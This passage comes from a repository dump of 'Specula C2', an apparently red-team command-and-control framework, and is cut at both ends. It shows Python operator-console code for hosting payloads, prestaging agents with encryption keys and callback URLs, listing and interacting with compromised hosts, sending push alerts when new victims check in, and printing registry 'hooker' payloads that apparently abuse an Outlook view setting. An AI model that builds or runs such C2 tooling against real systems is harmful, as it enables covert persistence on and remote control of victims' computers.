\"YES\":\n                        print(\"Removed all imported payloads from DB and filesystem\")\n                        del self.helpers.p_list[:]\n                        for file in os.scandir(\"./payloadhosting\"):\n                            os.remove(file.path)\n                        self.helpers.save_payloads_to_file()\n                        break\n                    else:\n                        break\n            else:\n                removepayload = self.helpers.p_list.get_payload_id(inp)\n                self.helpers.p_list.remove_payload(removepayload)\n                print(\"Removed imported payload from DB and filesystem\")\n                self.helpers.save_payloads_to_file()\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n    \n\n    \n    def complete_remove(self, text, line, begidx, endidx):\n        payload_ids = self.helpers.p_list.get_payloads_id()\n        #print(payload_ids)\n        return [i for i in payload_ids if i.startswith(text)]\n        \n\n    def help_remove(self):\n        print(\"Description: use this to remove a payload from the DB and delete it from the payloadhosting folder\")\n        print(\"Usage: remove <payload id\")\n\n    def do_add(self, inp):\n        try:\n            args = Helpers.getarguments(inp)\n            if len(args) == 0:\n                print(\"You need to specify a path for a payload to add\")\n                return\n            \n            # Check if path leads to a file with a .extension\n            if os.path.isfile(args[0]):\n                if len(args) >= 2:\n                    self.helpers.p_list.register_payload(args[0], args[1])    \n                else:\n                    self.helpers.p_list.register_payload(args[0], ''.join(random.choices(string.ascii_letters + string.digits, k=8)))\n                print(\"Payload added for hosting\")\n            else:\n                print(\"Path is not pointing to a file\")\n            self.helpers.save_payloads_to_file()\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n    \n    def complete_add(self, text, line, begidx, endidx):\n        return [i for i in Helpers.complete_path(text,line) if i.startswith(text)]\n\n    def do_list(self, inp):\n        if self.helpers.p_list == []:\n            print(\"No Payloads in Database\")\n        else:\n            print(\"%-10s%-60s%-60s\" % (\"id\",\"url\",\"sourcepath\"))\n            for payload in self.helpers.p_list:\n                print(\"%-10s%-60s%-60s\" % (str(payload.id),str(payload.url),str(payload.sourcepath)))\n\n    def help_add(self):\n        print(\"Description: use this to add a payload to the DB and host it\")\n        print(\"Usage: add <path to payload>\")\n        print(\"Usage: add <path to payload> <name>\")\n    \n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n\n    "
  },
  {
    "path": "lib/menu/specpromptprestage.py",
    "content": "import random\nimport secrets\nimport string\nimport os\nimport cmd\nimport base64\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\n\n\nclass SpecPromptPrestage(cmd.Cmd):\n    def __init__(self, helpers):\n        self.ranAuto = False\n        self.helpers = helpers\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"  \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n\n    def do_list(self, inp):\n        prestage_list = self.helpers.a_list.get_prestaged_agents()\n        if prestage_list == []:\n            print(\"No Prestaged SpeculaC2 Agents.\")\n        else:\n            print(\"%-25s%-70s%-70s\" % (\"encryptionkey\",\"url\",\"codeurl\"))\n            for agent in prestage_list:\n                print(\"%-25s%-70s%-70s\" % (agent.encryptionkey,agent.url,agent.codeurl))\n\n    def help_list(self):\n        print(\"Description: Lists out interesting data from all prestaged agents\")\n        print(\"Usage: list\")\n\n    def do_new(self, inp):\n        try:\n            if inp == '':\n                remote_ip = \"10.10.10.10\"\n                user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36\" ##Random or ask\n                username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))\n                computername = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(14))\n                sessionid = base64.b64encode((username + \"|\" + computername).encode('utf-16le'))\n                prestagetime = datetime(1194, 1, 1, 9, 4).strftime(gconfig.TIME_FORMAT)\n                self.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, prestagetime)\n                agent = self.helpers.a_list[-1]\n                agent.prestaged = True\n                agent.approved = True\n                agent.keysent = True\n                agent.generate_com()\n                agent.firstseen = prestagetime\n                print(\"Encryptionkey: {}\\tUrl:{}\".format(agent.encryptionkey,agent.url))\n            elif int(inp) > 0:\n                for _ in range(int(inp)):\n                    remote_ip = \"10.10.10.10\"\n                    user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36\" ##Random or ask\n                    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))\n                    computername = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(14))\n                    sessionid = base64.b64encode((username + \"|\" + computername).encode('utf-16le'))\n                    prestagetime = datetime(1194, 1, 1, 9, 4).strftime(gconfig.TIME_FORMAT)\n                    self.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, prestagetime)\n                    agent = self.helpers.a_list[-1]\n                    agent.prestaged = True\n                    agent.approved = True\n                    agent.generate_com()\n                    agent.firstseen = prestagetime\n                    print(\"Encryptionkey: {}\\tUrl:{}\".format(agent.encryptionkey,agent.url))\n            self.helpers.save_agents_to_file()\n        except ValueError:\n            print(\"Please provide a valid number or nothing at all to prestage one\")\n\n    def help_new(self):\n        print(\"Description: Used to create one or more prestaged agents\")\n        print(\"Usage: prestage\")\n        print(\"Usage: prestage 10\")\n\n    def do_custom(self, inp):\n        while 1:\n            askurl = input(\"Enter rest of agent url you want:\\n\" + gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM)\n            url = gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM + askurl\n            askcodeurl = input(\"Enter rest of agent codeurl you want:\\n\" + gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM)\n            codeurl = gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM + askcodeurl\n            askcodeurl = input(\"Enter rest of agent support you want:\\n\" + gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM)\n            supporturl = gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM + askcodeurl\n            remote_ip = \"10.10.10.10\"\n            user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36\" ##Random or ask\n            username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))\n            computername = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(14))\n            sessionid = base64.b64encode((username + \"|\" + computername).encode('utf-16le'))\n            prestagetime = datetime(1194, 1, 1, 9, 4).strftime(gconfig.TIME_FORMAT)\n            self.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, prestagetime)\n            self.helpers.save_agents_to_file()\n            agent = self.helpers.a_list[-1]\n            agent.prestaged = True\n            agent.approved = True\n            agent.keysent = True\n            agent.generate_customcom(url, codeurl, supporturl)\n            print(\"Encryptionkey: {}\\tUrl:{}\".format(agent.encryptionkey,agent.url))\n            break\n    \n    def do_dev(self, inp):\n        while 1:\n            devurl = gconfig.DNS_NAME + \"/devcom/\" + secrets.token_urlsafe(10)\n            devcodeurl = gconfig.DNS_NAME + \"/devcom/codeurl/\" + secrets.token_urlsafe(10)\n            devsupporturl = gconfig.DNS_NAME + \"/devcom/support/\" + secrets.token_urlsafe(10)\n            remote_ip = \"20.20.20.20\"\n            user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36\" ##Random or ask\n            username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))\n            computername = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(14))\n            sessionid = base64.b64encode((username + \"|\" + computername).encode('utf-16le'))\n            prestagetime = datetime(1194, 1, 1, 9, 4).strftime(gconfig.TIME_FORMAT)\n            self.helpers.a_list.register_agent(sessionid, remote_ip, user_agent, prestagetime)\n            self.helpers.save_agents_to_file()\n            agent = self.helpers.a_list[-1]\n            agent.prestaged = True\n            agent.approved = True\n            agent.keysent = True\n            agent.generate_customcom(devurl, devcodeurl, devsupporturl)\n            print(\"Encryptionkey: {}\\tUrl:{}\".format(agent.encryptionkey,agent.url))\n            break\n    \n    def help_custom(self):\n        print(\"Description: Used to create a custom prestage agent. Lets you define urls to use. \\n\\tUrl and Codeurl must not be set to the same!\")\n        print(\"Usage: custom\")"
  },
  {
    "path": "lib/menu/specpromptpushover.py",
    "content": "import random\nimport secrets\nimport string\nimport os\nimport cmd\nimport base64\nimport inspect\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\nfrom lib.core.helpers import Helpers\n\n\nclass SpecPromptPushover(cmd.Cmd):\n    def __init__(self, helpers):\n        self.ranAuto = False\n        self.helpers = helpers\n        super().__init__()\n        while len(self.helpers.rccommands) > 0:\n            if self.onecmd(self.helpers.rccommands.pop(0)) is True:\n                self.ranAuto = True\n                return\n    completekey = 'tab'\n\n    def precmd(self, line): # Added for operator logging\n        self.helpers.operatorlog(str(\"  \"+line), False)\n        return(line)\n\n    def emptyline(self):\n        \"\"\"Called when an empty line is entered in response to the prompt.\n\n        If this method is not overridden, it repeats the last nonempty\n        command entered.\n\n        \"\"\"\n        if self.lastcmd:\n            self.lastcmd = \"\"\n            return self.onecmd('\\n')\n    \n    def do_clear(self, inp):\n        os.system('clear')\n    \n    def do_listpushoverkeys(self, inp):\n        if gconfig.PUSHOVER_API_TOKEN != None:\n            try:\n                for value in gconfig.PUSHOVER_API_TOKEN.split(\",\"):\n                    print(value)\n            except ValueError:\n                print(\"Something went wrong...Not sure what\")\n        else:\n            print(\"No pushover defined - List is empty\")\n\n    def help_listpushoverkeys(self):\n        print(\"Description: Lists out all API Keys that will receive Push Notifications from Pushover\")\n        print(\"Usage: listpushoverkeys\")\n\n    def do_removepushoverkey(self, inp):\n        try:\n            args = Helpers.getarguments(inp)\n            if len(args) == 0:\n                print(\"You need to specify a key to remove\")\n                return\n            token_list = gconfig.PUSHOVER_API_TOKEN.split(\",\") #Convert to list\n            while inp in token_list: \n                token_list.remove(inp)\n            setattr(gconfig, 'PUSHOVER_API_TOKEN', \",\".join(token_list)) #convert back to string format and update the config file \n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n    \n    def complete_removepushoverkey(self, text, line, begidx, endidx):\n        return [str(i) for i in gconfig.PUSHOVER_API_TOKEN.split(\",\") if str(i).startswith(text)]\n\n    def help_removepushoverkey(self):\n        print(\"Description: use this to remove one API Key from the config\")\n        print(\"Usage: removepushoverkey <apikey>\")\n\n    def do_addpushoverkey(self, inp):\n        try:\n            args = Helpers.getarguments(inp)\n            if len(args) == 0:\n                print(\"You need to specify a key to add\")\n                return\n            if gconfig.PUSHOVER_API_TOKEN != None:\n                token_list = gconfig.PUSHOVER_API_TOKEN.split(\",\") #Convert to list\n                while inp not in token_list: \n                    token_list.append(inp)\n                setattr(gconfig, 'PUSHOVER_API_TOKEN', \",\".join(token_list)) #convert back to string format and update the config file \n            else:\n                setattr(gconfig, 'PUSHOVER_API_TOKEN', inp)\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n    \n    def help_addpushoverkey(self):\n        print(\"Description: use this to add one API Key to the config\")\n        print(\"Usage: addpushoverkey <apikey>\")\n\n    def do_testpush(self, cmd):\n        self.helpers.sendPush(\"0.0.0.0\", \"test\", cmd)\n        print('Attempted to send push to pushover.net account using user token(s): {}'.format(gconfig.PUSHOVER_API_TOKEN))\n\n    def help_testpush(self):\n        print(\"Purpose: This attempt to send a message to the configured pushover_api_token(s) to verify configuration\")\n        print(\"Usage: testpush <message>\")\n\n    def do_subscriptions(self, inp):\n        try:\n            print(\"PUSH_VALIDATION - Push on Validation: \" + str(gconfig.PUSH_VALIDATION))\n            print(\"PUSH_NEWAGENT - Push on New Agent: \" + str(gconfig.PUSH_NEWAGENT))\n            print(\"PUSH_NEWIP - Push on New IP on Agent: \" + str(gconfig.PUSH_NEWIP))\n            print(\"PUSH_PRESTAGE - Push on Prestage Agent: \" + str(gconfig.PUSH_PRESTAGE))\n            print(\"PUSH_UNKNOWNCONNECTION - Push on Unknown Connection: \" + str(gconfig.PUSH_UNKNOWNCONNECTION))\n            print(\"PUSH_UNEXPECTEDCALLBACK - Push on Unexpected Callback: \" + str(gconfig.PUSH_UNEXPECTEDCALLBACK))\n            print(\"PUSH_CONNECTION_OUTSIDESPECULA - Push on Connection Outside Specula(URLS): \" + str(gconfig.PUSH_CONNECTION_OUTSIDESPECULA))\n        except ValueError:\n            print(\"Something went wrong...Not sure what\")\n\n    def help_subscriptions(self):\n        print(\"Description: Use to list out current subscription settings\")\n        print(\"Usage: subscriptions\")\n\n    def do_changesubscription(self, cmd):\n        args = Helpers.getarguments(cmd)\n        if len(args) == 0:\n            print(\"You need to specify a value to edit\")\n            return\n        key = args.pop(0)\n        if getattr(gconfig, key).lower() == \"true\":\n            setattr(gconfig, key, \"False\")\n            print(\"{} changed to False\".format(key))\n        else:\n            setattr(gconfig, key, \"True\")\n            print(\"{} changed to True\".format(key))\n\n    def complete_changesubscription(self, text, line, begidx, endidx):\n        options = [\"PUSH_NEWAGENT\", \"PUSH_NEWIP\", \"PUSH_VALIDATION\",\"PUSH_PRESTAGE\",\"PUSH_UNKNOWNCONNECTION\",\"PUSH_UNEXPECTEDCALLBACK\",\"PUSH_CONNECTION_OUTSIDESPECULA\"]\n        if text:\n            options = [option for option in options if option.startswith(text)]\n        return options\n\n    def help_changesubscription(self):\n        print(\"Description: Change Subscriptions for Pushover notifications. It will swith true to false in the config\")\n        print(\"Usage: changesubscription PUSH_NEWIP\")\n\n    def help_clear(self):\n        print(\"Description: Clears the screen\")\n        print(\"Usage: clear\")\n    \n    def do_back(self, inp):\n        return True\n\n    def help_back(self):\n        print(\"Description: Goes back in the menu\")\n        print(\"Usage: back\")\n\n"
  },
  {
    "path": "lib/modhandlers/generic.py",
    "content": "from lib.core import helpers\ndef quotedstring(value, **kwargs):\n    if value[0] != \"\\\"\":\n        return '\"{}\"'.format(value)\n    return value\n\ndef escapebackslash(value, **kwargs):\n    if \"\\\\\" in value:\n        return value.replace(\"\\\\\", \"\\\\\\\\\")\n    return value\n\ndef makeint(value, **kwargs):\n    return int(value)\n\ndef makelist(value, **kwargs):\n    args = helpers.Helpers.getarguments(value)\n    return args\n\ndef escapequotes(value, **kwargs):\n    return value.replace('\"', '\"\"').replace(\"\\\\\", \"\\\\\\\\\")\n\ndef makebool(value, **kwargs):\n    if value.lower() == 'true':\n        return True\n    else:\n        return False"
  },
  {
    "path": "lib/tab_completers/generic.py",
    "content": "\n\ndef tab_choice(val, line, **kwargs):\n    results = []\n    for key in kwargs['choices']:\n        if key.startswith(val):\n            results.append(key)\n    return results"
  },
  {
    "path": "lib/validators/files.py",
    "content": "import traceback\nimport os\n\ndef isreadable(path, **kwargs):\n    errmsg = None\n    try:\n        if path.lower() == \"none\":\n            return True\n        ret = os.access(path, os.R_OK)\n        if ret == False:\n            print(\"Could not read specified file\")\n        return ret\n    except Exception as msg:\n        traceback.print_exc()\n        print('Exception checking path')\n        return False\n\ndef isbasename(path, **kwargs):\n    try:\n        if '\\\\' in path:\n            print(\"Path given should be basename only, do not use a full path\")\n            return False\n        else:\n            return True\n    except Exception as msg:\n        traceback.print_exc()\n        print('Exception checking path')\n        return False\n"
  },
  {
    "path": "lib/validators/generic.py",
    "content": "import traceback\nimport re\n\ndef iswebaddress(val, **kwargs):\n    l = re.match(r\"http.?://\", val)\n    if l == None:\n        print('value must start with http:// or https://')\n        return False\n    return True\n\ndef isboolstring(val, **kwargs):\n    errmsg = \"not understanding value, needs to be 'true' or 'false'\"\n    try:\n        if val.lower() != \"true\" and val.lower() != \"false\":\n            print(errmsg)\n            return False\n        return True\n    except Exception as msg:\n        traceback.print_exc()\n        print(\"not understanding value needs to be 'true' or 'false'\")\n        return False\n\n\ndef maxlen(val, **kwargs):\n    try:\n        length = kwargs['length']\n        if len(val) > length:\n            errmsg = \"Item is too long max length is {}\".format(length)\n            print(errmsg)\n            return False\n        else:\n            return True\n    except Exception as msg:\n        print(\"couldn't figure out item length\")\n        traceback.print_exc()\n        return False\n\ndef ischoice(val, **kwargs):\n    try:\n        choices = kwargs[\"choices\"]\n        if val in choices:\n            return True\n        else:\n            errmsg = \"invalid choice, valid options are: {}\".format(choices)\n            print(errmsg)\n            return False\n    except:\n        print(\"something went wrong\")\n        traceback.print_exc()\n        return False\n\ndef isint(val, **kwargs):\n    try:\n        i = int(val)\n        return True\n    except ValueError as Msg:\n        print(\"value is not an int\")\n        return False\n\n\n\n"
  },
  {
    "path": "release_history.txt",
    "content": "# BUG LIST / KNOWN STUFF:\n\nVERSION 1.0\nInitial Public Release\n"
  },
  {
    "path": "requirements.txt",
    "content": "urllib3\ntornado\nrequests\njinja2\npyopenssl\npycryptodome\npefile\n"
  },
  {
    "path": "specula.py",
    "content": "import argparse\r\n#from distutils.log import error\r\nimport sys\r\nimport os\r\nimport inspect\r\n\r\n\r\n# PLATFORM CHECKS\r\nif sys.version_info <= (3, 0):\r\n    sys.stdout.write(\"Sorry, requires Python 3.x, not Python 2.x\\n\")\r\n    sys.exit(1)\r\n\r\nif os.name == 'nt':\r\n    print(\"WINDOWS as Host OS Not currently supported - exiting\")\r\n    sys.exit()\r\n    #TODO uncomment below\r\n\r\n#Check if you are running from the specula main directory\r\nif os.path.dirname(os.path.abspath(__file__)) != os.getcwd():\r\n    print(\"[!] Not executed in Specula Primary Directory. Change directory to main Specula directory and rerun application.\")\r\n    sys.exit()\r\n\r\n#Check Sudo\r\nif os.geteuid() != 0:\r\n         print(\"\\n[!] Specula C2 needs to be run as root (web socket binding, etc.)... Re-run Specula C2 as sudo/root in order to run.\")\r\n         sys.exit()\r\n\r\nimport logging\r\nimport urllib3\r\nimport asyncio\r\nimport readline\r\nimport threading\r\nimport traceback\r\nimport cmd\r\nimport ssl\r\nimport time\r\nimport hooker_generator\r\n#ensure tornado is installed\r\ntry:\r\n    import tornado.web\r\n    import tornado.ioloop\r\n    import tornado.httpserver\r\nexcept ImportError:\r\n    print(\"[!] Python module tornado not installed. Try pip install -r requirements.txt and re-run Specula C2.\")\r\n    sys.exit()\r\n\r\nfrom datetime import datetime, date\r\n\r\nfrom lib.handlers.specapplication import speculaApplication\r\nfrom lib.handlers.speccomms import AgentComHandler\r\nfrom lib.handlers.specdevcomms import AgentDevComHandler\r\nfrom lib.handlers.specpayload import PayloadHandler\r\nfrom lib.handlers.specvalidate import ValidateAgentHandler, UnknownPageHandler\r\nfrom lib.menu.specpromptprestage import SpecPromptPrestage\r\nfrom lib.menu.specpromptinteract import SpecPromptInteract\r\nfrom lib.menu.specpromptdbedit import SpecPromptDbedit\r\nfrom lib.menu.specpromptpayload import SpecPromptPayload\r\nfrom lib.menu.specpromptpushover import SpecPromptPushover\r\nfrom lib.core.helpers import Helpers\r\nfrom lib.core.setup import Config\r\nfrom lib.core.setup import gconfig\r\n\r\n#Auto complete settings for TAB - Needed for CMD import as well\r\nreadline.set_completer_delims(' \\t\\n=')\r\nreadline.parse_and_bind(\"tab: complete\")\r\n\r\n\r\n\r\n__authors__ = 'Oddvar Moe (@oddvarmoe), Christopher Paschen (@freefirex2)'\r\n\r\n__version__ = '1.0.0'\r\n\r\n\r\n#Disable warning looging to console\r\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\nlogging.getLogger(\"tornado.general\").setLevel(logging.INFO)\r\nlogging.getLogger('urllib3').setLevel(logging.INFO)\r\nlogging.basicConfig(level=logging.INFO, \r\n                    format='[%(asctime)s] %(message)s', \r\n                    datefmt='%Y-%m-%d %H:%M:%S',\r\n                    filename='./weblog.log')\r\nlog = logging.getLogger(__name__)\r\n\r\n### CLASSES ###\r\n\r\nclass SpecPrompt(cmd.Cmd): #Leaving this one here as it is the top level menu\r\n    def __init__(self, helpers):\r\n        self.helpers = helpers\r\n        super().__init__()\r\n        while (len(helpers.rccommands) > 0):\r\n            self.onecmd(helpers.rccommands.pop(0))\r\n    intro = \"Specula C2 shell\"\r\n    prompt = 'SpeculaC2>'\r\n    completekey = 'tab'\r\n\r\n    def precmd(self, line): # Added for operator logging\r\n        self.helpers.operatorlog(str(line), False)\r\n        return(line)\r\n\r\n    def emptyline(self):\r\n        \"\"\"Called when an empty line is entered in response to the prompt.\r\n\r\n        If this method is not overridden, it repeats the last nonempty\r\n        command entered.\r\n\r\n        \"\"\"\r\n        if self.lastcmd:\r\n            self.lastcmd = \"\"\r\n            return self.onecmd('\\n')\r\n\r\n    def do_exit(self, inp):\r\n        print(\"[*] Exiting SpeculaC2\")\r\n        return True\r\n    \r\n    def help_exit(self):\r\n        print(\"Exits Specula\")\r\n    \r\n    def do_updatecodebase(self, inp):\r\n        del self.helpers.modlist\r\n        self.helpers.modlist = {}\r\n        self.helpers.loadModules(\"./functions\")\r\n        print(\"Updated module list\")\r\n\r\n    def help_updatecodebase(self):\r\n        print(\"Description: Re-imports all vbscript code inside the functions folder. Updates the module menu and adds encrypted code to all agents\")    \r\n        print(\"Usage: updatecodebase\")    \r\n\r\n    def do_generatehooker(self, inp):\r\n        args = Helpers.getarguments(inp)\r\n        if len(args) == 0:\r\n            if gconfig.WEBSERVER_PORT not in (80, 443):\r\n                hooker_payloads = hooker_generator.Payloads(gconfig.DNS_NAME+\":\"+str(gconfig.WEBSERVER_PORT)+gconfig.VALIDATE_URL,None, None, True, None, False)\r\n            else:\r\n                hooker_payloads = hooker_generator.Payloads(gconfig.DNS_NAME+gconfig.VALIDATE_URL,None, None, True, None, False)\r\n            print(hooker_payloads.gen_registry_hooker())\r\n        else:\r\n            hooker_payloads = hooker_generator.Payloads(gconfig.DNS_NAME+gconfig.VALIDATE_URL,None, None, True, None, False)\r\n            if args[0] == \"reg\":\r\n                print(hooker_payloads.gen_registry_hooker())\r\n\r\n    def help_generatehooker(self):\r\n        print(\"Description: Runs the hooker_generator script inside specula to generate the payloads on screen\")    \r\n        print(\"Usage - gen all: generatehooker\")  \r\n        print(\"Usage - gen specific: generatehooker reg\")\r\n\r\n    def do_agents(self, inp):\r\n        if self.helpers.a_list == []:\r\n            print(\"No available SpeculaC2 Agents.\")\r\n        else:\r\n            print(\"%-4s%-30s%-18s%-13s%-22s%-12s%-25s%-8s\" % (\r\n            \"id\", \"hostname:username\", \"ip address\", \"refreshTime\", \"Lastseen\", \"approved\", \"encryptionkey\", \"api installed/verified\"))\r\n            for agent in self.helpers.a_list:\r\n                if agent.approved == False:\r\n                    print(\"%-4s%-30s%-18s%-13s%-22s%-12s%-25s%-8s\" % (\r\n                        str(agent.id), agent.hostname + \":\" + agent.username, agent.remoteip, str(agent.refreshtime), agent.lastcheckin, \"NO (Checkin: \" + str(agent.initialcheckincount+1) + \" of \" + str(gconfig.INITIAL_CHECKIN_COUNT) + \")\", \"N/A\", str(agent.api_installed) + \"/\" + str(agent.api_verified)))\r\n                else:\r\n                    print(\"%-4s%-30s%-18s%-13s%-22s%-12s%-25s%-8s\" % (\r\n                        str(agent.id), agent.hostname + \":\" + agent.username, agent.remoteip, str(agent.refreshtime), agent.lastcheckin, \"YES\", agent.encryptionkey, str(agent.api_installed) + \"/\" + str(agent.api_verified)))\r\n\r\n    def help_agents(self):\r\n        print(\"Description: Lists all available agents\")    \r\n        print(\"Usage: agents\")    \r\n\r\n    def do_interact(self, inp):\r\n        try:\r\n            agent = self.helpers.a_list.get_agent(int(inp))\r\n            selected_agent = agent\r\n            i = SpecPromptInteract(selected_agent, self.helpers)\r\n            if i.ranAuto:\r\n                return\r\n            i.prompt = self.prompt[:-1]+':'+agent.hostname+'>'\r\n            i.cmdloop()\r\n        except ValueError:\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n            traceback.print_exc()\r\n        except TypeError:\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n            traceback.print_exc()\r\n        except AttributeError:\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n            traceback.print_exc()\r\n\r\n    def help_interact(self):\r\n        print(\"Description: Interact with specified agent\")\r\n        print(\"Usage: interact <id>\")\r\n\r\n    def complete_interact(self, text, line, begidx, endidx):\r\n        agent_ids = self.helpers.a_list.get_agents_id()\r\n        return [i for i in agent_ids if i.startswith(text)]\r\n\r\n    def do_pushover(self, inp):\r\n        try:\r\n            i = SpecPromptPushover(self.helpers)\r\n            if i.ranAuto:\r\n                return\r\n            i.prompt = self.prompt[:-1]+':pushover>'\r\n            i.cmdloop()\r\n        except (ValueError, TypeError, AttributeError) as e:\r\n            print(\"Not sure what happened\")\r\n            traceback.print_exc()\r\n    \r\n    def do_payload(self, inp):\r\n        try:\r\n            i = SpecPromptPayload(self.helpers)\r\n            if i.ranAuto:\r\n                return\r\n            i.prompt = self.prompt[:-1]+':payload>'\r\n            i.cmdloop()\r\n        except (ValueError, TypeError, AttributeError) as e:\r\n            print(\"Not sure what happened\")\r\n            traceback.print_exc()\r\n    \r\n    def help_payload(self):\r\n        print(\"Description: Allows you to add/remove/list payloads\")\r\n        print(\"Usage: payload\")\r\n\r\n    def do_dbedit(self, inp):\r\n        try:\r\n            agent = self.helpers.a_list.get_agent(int(inp))\r\n            selected_agent = agent\r\n            i = SpecPromptDbedit(selected_agent, self.helpers)\r\n            if i.ranAuto:\r\n                return\r\n            i.prompt = self.prompt[:-1]+':'+agent.hostname+'>'\r\n            i.cmdloop()\r\n        except (ValueError, TypeError, AttributeError):\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n            traceback.print_exc()\r\n\r\n    def help_dbedit(self):\r\n        print(\"Description: Allows you to edit all db data for agent, intended for debugging or rare cases\")\r\n        print(\"Usage: dbedit <id>\")\r\n\r\n    def complete_dbedit(self, text, line, begidx, endidx):\r\n        agent_ids = self.helpers.a_list.get_agents_id()\r\n        return [i for i in agent_ids if i.startswith(text)]\r\n\r\n    def do_prestage(self, inp):\r\n        try:\r\n            i = SpecPromptPrestage(self.helpers)\r\n            if i.ranAuto:\r\n                return\r\n            i.prompt = self.prompt[:-1]+':prestage>'\r\n            i.cmdloop()\r\n        except (ValueError, TypeError, AttributeError) as e:\r\n            print(\"Not sure what happened\")\r\n            traceback.print_exc()\r\n    \r\n    def help_prestage(self):\r\n        print(\"Description: Enters prestage menu where you can prestage agents.\")\r\n        print(\"Usage: prestage\")\r\n    \r\n    def do_settings(self, inp): # Read from config file later on...\r\n        print(\"Time format: {}\".format(gconfig.TIME_FORMAT))\r\n        print(\"DNS Name: {}\".format(gconfig.DNS_NAME))\r\n        print(\"Pushover user token: {}\".format(gconfig.PUSHOVER_API_TOKEN))\r\n        print(\"Pushover app token: {}\".format(gconfig.PUSHOVER_APP_API_TOKEN))\r\n        print(\"Initial Checkin Count: {}\".format(gconfig.INITIAL_CHECKIN_COUNT))\r\n        print(\"Validation URL: {}\".format(gconfig.VALIDATE_URL))\r\n        print(\"Base Path Agent Communication: {}\".format(gconfig.BASE_PATH_AGENT_COM))\r\n        print(\"Base Payload URL: {}\".format(gconfig.BASE_PAYLOAD_URL))\r\n        print(\"Redirect False Agents: {}\".format(gconfig.REDIRECT_FALSE_AGENTS))\r\n        print(\"Default Refresh Time: {}\".format(gconfig.DEFAULT_REFRESH_TIME))\r\n        print(\"Global Jitter Time: {}\".format(gconfig.JITTER))\r\n        print(\"Specula Log File: {}\".format(gconfig.SPECULA_LOG_FILE))\r\n        print(\"Operator Log File: {}\".format(gconfig.OPERATOR_LOG_FILE))\r\n        print(\"Server Header: {}\".format(gconfig.SERVER_HEADER))\r\n        print(\"Encryptionkey Registry Location: {}\".format(gconfig.ENCRYPTIONKEY_REGISTRY_LOCATION))\r\n        print(\"Encryptionkey Value name: {}\".format(gconfig.ENCRYPTIONKEY_VALUENAME))\r\n        print(\"Outlook View ID: {}\".format(gconfig.OUTLOOK_VIEW_ID))\r\n        print(\"CLSID: {}\".format(gconfig.CLSID))\r\n        print(\"Database File Name: {}\".format(gconfig.DATABASEFILENAME))\r\n        print(\"SSL Enabled: {}\".format(gconfig.SSL))\r\n        print(\"Webserver Port: {}\".format(gconfig.WEBSERVER_PORT))\r\n        print(\"Certificate File: {}\".format(gconfig.CERT_FILE))\r\n        print(\"Certificate Key File: {}\".format(gconfig.KEY_FILE))\r\n        print(\"blocklist File: {}\".format(gconfig.IP_blocklist))\r\n        print(\"Server end date: {}\".format(gconfig.END_DATE))\r\n        print(\"Push subscription Validation: {}\".format(gconfig.PUSH_VALIDATION))\r\n        print(\"Push subscription New Agent: {}\".format(gconfig.PUSH_NEWAGENT))\r\n        print(\"Push subscription New IP: {}\".format(gconfig.PUSH_NEWIP))\r\n        print(\"Push subscription Unexpected Callbacks: {}\".format(gconfig.PUSH_UNEXPECTEDCALLBACK))\r\n        print(\"Push subscription Unknown Connections: {}\".format(gconfig.PUSH_UNKNOWNCONNECTION))\r\n        print(\"Push subscription Prestage Agents: {}\".format(gconfig.PUSH_PRESTAGE))\r\n        print(\"Push subscription Connection Outside Specula: {}\".format(gconfig.PUSH_CONNECTION_OUTSIDESPECULA))\r\n\r\n    def 